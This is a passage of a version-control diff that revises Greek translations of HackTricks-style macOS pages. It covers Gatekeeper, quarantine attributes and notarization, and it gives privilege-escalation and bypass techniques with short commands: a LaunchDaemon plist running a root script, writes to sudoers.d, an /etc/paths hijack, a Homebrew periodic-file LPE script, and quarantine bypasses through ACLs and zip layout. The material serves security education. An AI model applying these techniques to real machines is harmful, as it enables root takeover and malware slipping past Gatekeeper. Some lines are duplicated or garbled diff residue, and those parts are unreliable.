Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
|
||||
Έλεγξε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
|
||||
|
||||
@ -173,9 +173,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
|
||||
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
||||
```
|
||||
## Παράκαμψη Υπογραφών Κώδικα
|
||||
## Παράκαμψη Υπογραφών Κωδικού
|
||||
|
||||
Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να παρέμβουμε σε αυτό.
|
||||
Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό.
|
||||
|
||||
Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
|
||||
```xml
|
||||
@ -221,7 +221,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
|
||||
...
|
||||
</dict>
|
||||
```
|
||||
Είναι δυνατόν να υπολογίσετε την υπογραφή ενός πόρου από την κονσόλα με:
|
||||
Είναι δυνατόν να υπολογίσετε την υπογραφή ενός πόρου από το cli με:
|
||||
```bash
|
||||
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
|
||||
```
|
||||
@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο plist αρχείο των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα logs στο `/var/log/diskarbitrationd.log`.\
|
||||
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
|
||||
Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitrarion.diskarbitrariond` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύσει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\
|
||||
Ωστόσο, είναι δυνατό να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`.
|
||||
|
||||
## Αυθαίρετες Εγγραφές
|
||||
|
||||
@ -261,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
|
||||
### Daemons
|
||||
|
||||
Γράψτε μια αυθαίρετη **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
|
||||
Γράψτε έναν αυθαίρετο **LaunchDaemon** όπως **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -278,13 +278,13 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
|
||||
Απλώς δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελέσετε ως root.
|
||||
|
||||
### Αρχείο Sudoers
|
||||
### Sudoers File
|
||||
|
||||
Εάν έχετε **τυχαία εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** παραχωρώντας στον εαυτό σας **sudo** δικαιώματα.
|
||||
|
||||
### Αρχεία PATH
|
||||
### PATH files
|
||||
|
||||
Το αρχείο **`/etc/paths`** είναι ένα από τα κύρια μέρη που γεμίζουν τη μεταβλητή περιβάλλοντος PATH. Πρέπει να είστε root για να το αντικαταστήσετε, αλλά αν ένα σενάριο από **privileged process** εκτελεί κάποια **εντολή χωρίς την πλήρη διαδρομή**, μπορεί να είστε σε θέση να **παρακάμψετε** αυτό τροποποιώντας αυτό το αρχείο.
|
||||
|
||||
@ -310,9 +310,9 @@ LogFilePerm 777
|
||||
|
||||
Είναι δυνατόν να ξεφύγετε από το sandbox του macOS με μια FS αυθαίρετη εγγραφή. Για μερικά παραδείγματα, ελέγξτε τη σελίδα [macOS Auto Start](../../../../macos-auto-start-locations.md) αλλά ένα κοινό είναι να γράψετε ένα αρχείο προτιμήσεων Terminal στο `~/Library/Preferences/com.apple.Terminal.plist` που εκτελεί μια εντολή κατά την εκκίνηση και να το καλέσετε χρησιμοποιώντας το `open`.
|
||||
|
||||
## Δημιουργία εγγράφων που είναι εγγράψιμα από άλλους χρήστες
|
||||
## Generate writable files as other users
|
||||
|
||||
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγγράψιμο από εμένα ([**κώδικας από εδώ**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc:
|
||||
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στον root και είναι εγ writable από εμένα ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Αυτό μπορεί επίσης να λειτουργήσει ως privesc:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
@ -326,7 +326,7 @@ echo $FILENAME
|
||||
```
|
||||
## POSIX Κοινή Μνήμη
|
||||
|
||||
**Η POSIX κοινή μνήμη** επιτρέπει στις διεργασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διεργασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διεργασίας χρησιμοποιώντας `mmap()`. Οι διεργασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για τη διαχείριση ταυτόχρονων προσβάσεων και την αποφυγή διαφθοράς δεδομένων, χρησιμοποιούνται συχνά μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores. Τέλος, οι διεργασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διεργασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
|
||||
**POSIX κοινή μνήμη** επιτρέπει σε διαδικασίες σε λειτουργικά συστήματα συμβατά με POSIX να έχουν πρόσβαση σε μια κοινή περιοχή μνήμης, διευκολύνοντας ταχύτερη επικοινωνία σε σύγκριση με άλλες μεθόδους επικοινωνίας μεταξύ διαδικασιών. Περιλαμβάνει τη δημιουργία ή το άνοιγμα ενός αντικειμένου κοινής μνήμης με `shm_open()`, την ρύθμιση του μεγέθους του με `ftruncate()`, και την αντιστοίχιση του στη διεύθυνση μνήμης της διαδικασίας χρησιμοποιώντας `mmap()`. Οι διαδικασίες μπορούν στη συνέχεια να διαβάζουν και να γράφουν απευθείας σε αυτήν την περιοχή μνήμης. Για να διαχειριστούν την ταυτόχρονη πρόσβαση και να αποτρέψουν τη διαφθορά των δεδομένων, μηχανισμοί συγχρονισμού όπως οι mutexes ή οι semaphores χρησιμοποιούνται συχνά. Τέλος, οι διαδικασίες αποδεσμεύουν και κλείνουν την κοινή μνήμη με `munmap()` και `close()`, και προαιρετικά αφαιρούν το αντικείμενο μνήμης με `shm_unlink()`. Αυτό το σύστημα είναι ιδιαίτερα αποτελεσματικό για αποδοτική, γρήγορη IPC σε περιβάλλοντα όπου πολλές διαδικασίες χρειάζεται να έχουν γρήγορη πρόσβαση σε κοινά δεδομένα.
|
||||
|
||||
<details>
|
||||
|
||||
@ -424,9 +424,9 @@ return 0;
|
||||
|
||||
**macOSCguarded descriptors** είναι μια λειτουργία ασφαλείας που εισήχθη στο macOS για να ενισχύσει την ασφάλεια και την αξιοπιστία των **λειτουργιών περιγραφής αρχείων** σε εφαρμογές χρήστη. Αυτοί οι προστατευμένοι περιγραφείς παρέχουν έναν τρόπο για να συσχετίσουν συγκεκριμένους περιορισμούς ή "φύλακες" με περιγραφείς αρχείων, οι οποίοι επιβάλλονται από τον πυρήνα.
|
||||
|
||||
Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου είναι **κληρονομούμενος** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
|
||||
Αυτή η λειτουργία είναι ιδιαίτερα χρήσιμη για την πρόληψη ορισμένων κατηγοριών ευπαθειών ασφαλείας όπως η **μη εξουσιοδοτημένη πρόσβαση σε αρχεία** ή οι **συνθήκες αγώνα**. Αυτές οι ευπάθειες συμβαίνουν όταν, για παράδειγμα, ένα νήμα έχει πρόσβαση σε μια περιγραφή αρχείου δίνοντας **σε ένα άλλο ευάλωτο νήμα πρόσβαση σε αυτήν** ή όταν ένας περιγραφέας αρχείου **κληρονομείται** από μια ευάλωτη διεργασία παιδί. Ορισμένες συναρτήσεις που σχετίζονται με αυτή τη λειτουργικότητα είναι:
|
||||
|
||||
- `guarded_open_np`: Άνοιγμα ενός FD με φύλακα
|
||||
- `guarded_open_np`: Άνοιγμα ενός FD με έναν φύλακα
|
||||
- `guarded_close_np`: Κλείσιμο του
|
||||
- `change_fdguard_np`: Αλλαγή σημαιών φύλακα σε έναν περιγραφέα (ακόμη και αφαίρεση της προστασίας φύλακα)
|
||||
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** είναι μια λειτουργία ασφαλείας που έχει αναπτυχθεί για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να διασφαλίσει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με το να **επικυρώνει το λογισμικό** που κατεβάζει ο χρήστης και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης.
|
||||
@ -18,9 +19,9 @@
|
||||
|
||||
1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί σχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγραφεί στο Πρόγραμμα Προγραμματιστών της Apple. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή.
|
||||
2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, το οποίο περιέχει το αντίστοιχο δημόσιο κλειδί.
|
||||
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac του χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και το συγκρίνει με το αποκρυπτογραφημένο hash. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
|
||||
3. **Επικύρωση της Εφαρμογής:** Όταν ένας χρήστης κατεβάσει και προσπαθήσει να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και το συγκρίνει με το αποκρυπτογραφημένο hash. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής.
|
||||
|
||||
Οι υπογραφές εφαρμογών είναι ένα απαραίτητο μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδώσει η Apple σε γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
|
||||
Οι υπογραφές εφαρμογών είναι ένα απαραίτητο μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με πιστοποιητικό που έχει εκδοθεί από την Apple σε γνωστό προγραμματιστή και ο κώδικας δεν έχει παραποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη.
|
||||
|
||||
Από το macOS Catalina και μετά, **το Gatekeeper ελέγχει επίσης αν η εφαρμογή έχει notarised** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας. Η διαδικασία notarization ελέγχει την εφαρμογή για γνωστά ζητήματα ασφαλείας και κακόβουλο κώδικα, και αν αυτές οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που μπορεί να επαληθεύσει το Gatekeeper.
|
||||
|
||||
@ -45,7 +46,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Εξέταση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν πιθανών προβλημάτων με την υπογραφή κώδικα.
|
||||
Η διαδικασία notarization της Apple λειτουργεί ως επιπλέον προστασία για να προστατεύσει τους χρήστες από δυνητικά επιβλαβές λογισμικό. Περιλαμβάνει την **υποβολή της εφαρμογής από τον προγραμματιστή για εξέταση** από την **Υπηρεσία Notary της Apple**, η οποία δεν πρέπει να συγχέεται με την Εξέταση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και τυχόν δυνητικά προβλήματα με την υπογραφή κώδικα.
|
||||
|
||||
Εάν το λογισμικό **περάσει** αυτή την επιθεώρηση χωρίς να εγείρει ανησυχίες, η Υπηρεσία Notary δημιουργεί ένα εισιτήριο notarization. Ο προγραμματιστής είναι υποχρεωμένος να **συνδέσει αυτό το εισιτήριο με το λογισμικό του**, μια διαδικασία που ονομάζεται 'stapling.' Επιπλέον, το εισιτήριο notarization δημοσιεύεται επίσης online όπου ο Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να έχει πρόσβαση σε αυτό.
|
||||
|
||||
@ -104,7 +105,7 @@ cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
- `/var/db/gke.bundle/Contents/Resources/gk.db`
|
||||
- `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
|
||||
|
||||
Ή θα μπορούσατε να παραθέσετε τις προηγούμενες πληροφορίες με:
|
||||
Ή μπορείτε να παραθέσετε τις προηγούμενες πληροφορίες με:
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
@ -118,7 +119,7 @@ spctl --master-disable
|
||||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
Όταν είναι πλήρως ενεργοποιημένο, μια νέα επιλογή θα εμφανιστεί:
|
||||
Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή:
|
||||
|
||||
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -145,11 +146,11 @@ spctl --assess -v /Applications/App.app
|
||||
|
||||
### Αρχεία Καραντίνας
|
||||
|
||||
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες **εφαρμογές** macOS όπως οι περιηγητές ιστού ή οι πελάτες email **συνδέουν ένα εκτεταμένο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο ληφθέν αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **σημάνει το αρχείο** ως προερχόμενο από μια μη αξιόπιστη πηγή (το διαδίκτυο), και ενδεχομένως να φέρει κινδύνους. Ωστόσο, δεν συνδέουν όλες οι εφαρμογές αυτό το χαρακτηριστικό, για παράδειγμα, το κοινό λογισμικό πελάτη BitTorrent συνήθως παρακάμπτει αυτή τη διαδικασία.
|
||||
Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες **εφαρμογές** macOS όπως οι περιηγητές ιστού ή οι πελάτες email **συνδέουν ένα εκτεταμένο χαρακτηριστικό αρχείου**, γνωστό ως το "**σήμα καραντίνας**," στο ληφθέν αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **σημάνει το αρχείο** ως προερχόμενο από μια μη αξιόπιστη πηγή (το διαδίκτυο), και ενδεχομένως να φέρει κινδύνους. Ωστόσο, δεν συνδέουν όλες οι εφαρμογές αυτό το χαρακτηριστικό, για παράδειγμα, το κοινό λογισμικό πελάτη BitTorrent συνήθως παρακάμπτει αυτή τη διαδικασία.
|
||||
|
||||
**Η παρουσία μιας σημαίας καραντίνας στέλνει σήμα στη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
|
||||
**Η παρουσία ενός σήματος καραντίνας σηματοδοτεί τη λειτουργία ασφαλείας Gatekeeper του macOS όταν ένας χρήστης προσπαθεί να εκτελέσει το αρχείο**.
|
||||
|
||||
Στην περίπτωση που η **σημαία καραντίνας δεν είναι παρούσα** (όπως με τα αρχεία που έχουν ληφθεί μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην εκτελούνται**. Έτσι, οι χρήστες θα πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
|
||||
Στην περίπτωση που το **σήμα καραντίνας δεν είναι παρόν** (όπως με αρχεία που έχουν ληφθεί μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην εκτελούνται**. Έτσι, οι χρήστες θα πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές.
|
||||
|
||||
> [!NOTE] > **Έλεγχος** της **έγκυρης** υπογραφής κώδικα είναι μια **χρονικά απαιτητική** διαδικασία που περιλαμβάνει τη δημιουργία κρυπτογραφικών **hashes** του κώδικα και όλων των πόρων που περιλαμβάνονται. Επιπλέον, ο έλεγχος εγκυρότητας πιστοποιητικού περιλαμβάνει τη **διαδικτυακή αναζήτηση** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ένας πλήρης έλεγχος υπογραφής κώδικα και πιστοποίησης είναι **μη πρακτικός να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**.
|
||||
>
|
||||
@ -171,7 +172,7 @@ spctl --enable
|
||||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκτεινόμενη ιδιότητα καραντίνας** με:
|
||||
Μπορείτε επίσης να **βρείτε αν ένα αρχείο έχει την επεκταμένη ιδιότητα καραντίνας** με:
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
@ -275,7 +276,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
||||
|
||||
Αυτή η βιβλιοθήκη εξάγει πολλές λειτουργίες που επιτρέπουν την επεξεργασία των πεδίων εκτεταμένων χαρακτηριστικών.
|
||||
|
||||
Τα APIs `qtn_file_*` ασχολούνται με τις πολιτικές καραντίνας αρχείων, τα APIs `qtn_proc_*` εφαρμόζονται σε διαδικασίες (αρχεία που δημιουργούνται από τη διαδικασία). Οι μη εξαγόμενες συναρτήσεις `__qtn_syscall_quarantine*` είναι αυτές που εφαρμόζουν τις πολιτικές που καλούν το `mac_syscall` με "Quarantine" ως πρώτο επιχείρημα, το οποίο στέλνει τα αιτήματα στο `Quarantine.kext`.
|
||||
Τα APIs `qtn_file_*` ασχολούνται με τις πολιτικές καραντίνας αρχείων, τα APIs `qtn_proc_*` εφαρμόζονται σε διαδικασίες (αρχεία που δημιουργούνται από τη διαδικασία). Οι μη εξαγόμενες λειτουργίες `__qtn_syscall_quarantine*` είναι αυτές που εφαρμόζουν τις πολιτικές που καλούν το `mac_syscall` με "Quarantine" ως πρώτο επιχείρημα, το οποίο στέλνει τα αιτήματα στο `Quarantine.kext`.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
@ -307,7 +308,7 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Κανόνες Yara για την ανίχνευση κακόβουλου λογισμικού.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Βάση δεδομένων SQLite3 με hashes αποκλεισμένων εφαρμογών και TeamIDs.
|
||||
|
||||
Σημειώστε ότι υπάρχει άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν εμπλέκεται στη διαδικασία του Gatekeeper.
|
||||
Σημειώστε ότι υπάρχει μια άλλη εφαρμογή στο **`/Library/Apple/System/Library/CoreServices/XProtect.app`** που σχετίζεται με το XProtect και δεν εμπλέκεται στη διαδικασία του Gatekeeper.
|
||||
|
||||
### Όχι Gatekeeper
|
||||
|
||||
@ -340,11 +341,11 @@ XProtect βρίσκεται σε προστατευμένη τοποθεσία S
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
Σε αυτή την παράκαμψη δημιουργήθηκε ένα zip αρχείο με μια εφαρμογή που άρχισε να συμπιέζεται από το `application.app/Contents` αντί για το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ήταν αυτό που έλεγχε ο Gatekeeper, έτσι ο Gatekeeper παρακάμφθηκε γιατί όταν ενεργοποιήθηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
|
||||
Σε αυτή την παράκαμψη δημιουργήθηκε ένα zip αρχείο με μια εφαρμογή που άρχισε να συμπιέζεται από το `application.app/Contents` αντί από το `application.app`. Επομένως, το **χαρακτηριστικό καραντίνας** εφαρμόστηκε σε όλα τα **αρχεία από το `application.app/Contents`** αλλά **όχι στο `application.app`**, το οποίο ήταν αυτό που έλεγχε ο Gatekeeper, έτσι ο Gatekeeper παρακάμφθηκε γιατί όταν ενεργοποιήθηκε το `application.app` **δεν είχε το χαρακτηριστικό καραντίνας.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
Δείτε την [**πρωτότυπη αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
||||
Ελέγξτε την [**πρωτότυπη αναφορά**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) για περισσότερες πληροφορίες.
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
@ -365,7 +366,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
Επιπλέον, η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACE του.
|
||||
|
||||
Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δει κανείς ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -416,16 +417,16 @@ aa archive -d s/ -o app.aar
|
||||
```
|
||||
### uchg (από αυτήν την [ομιλία](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
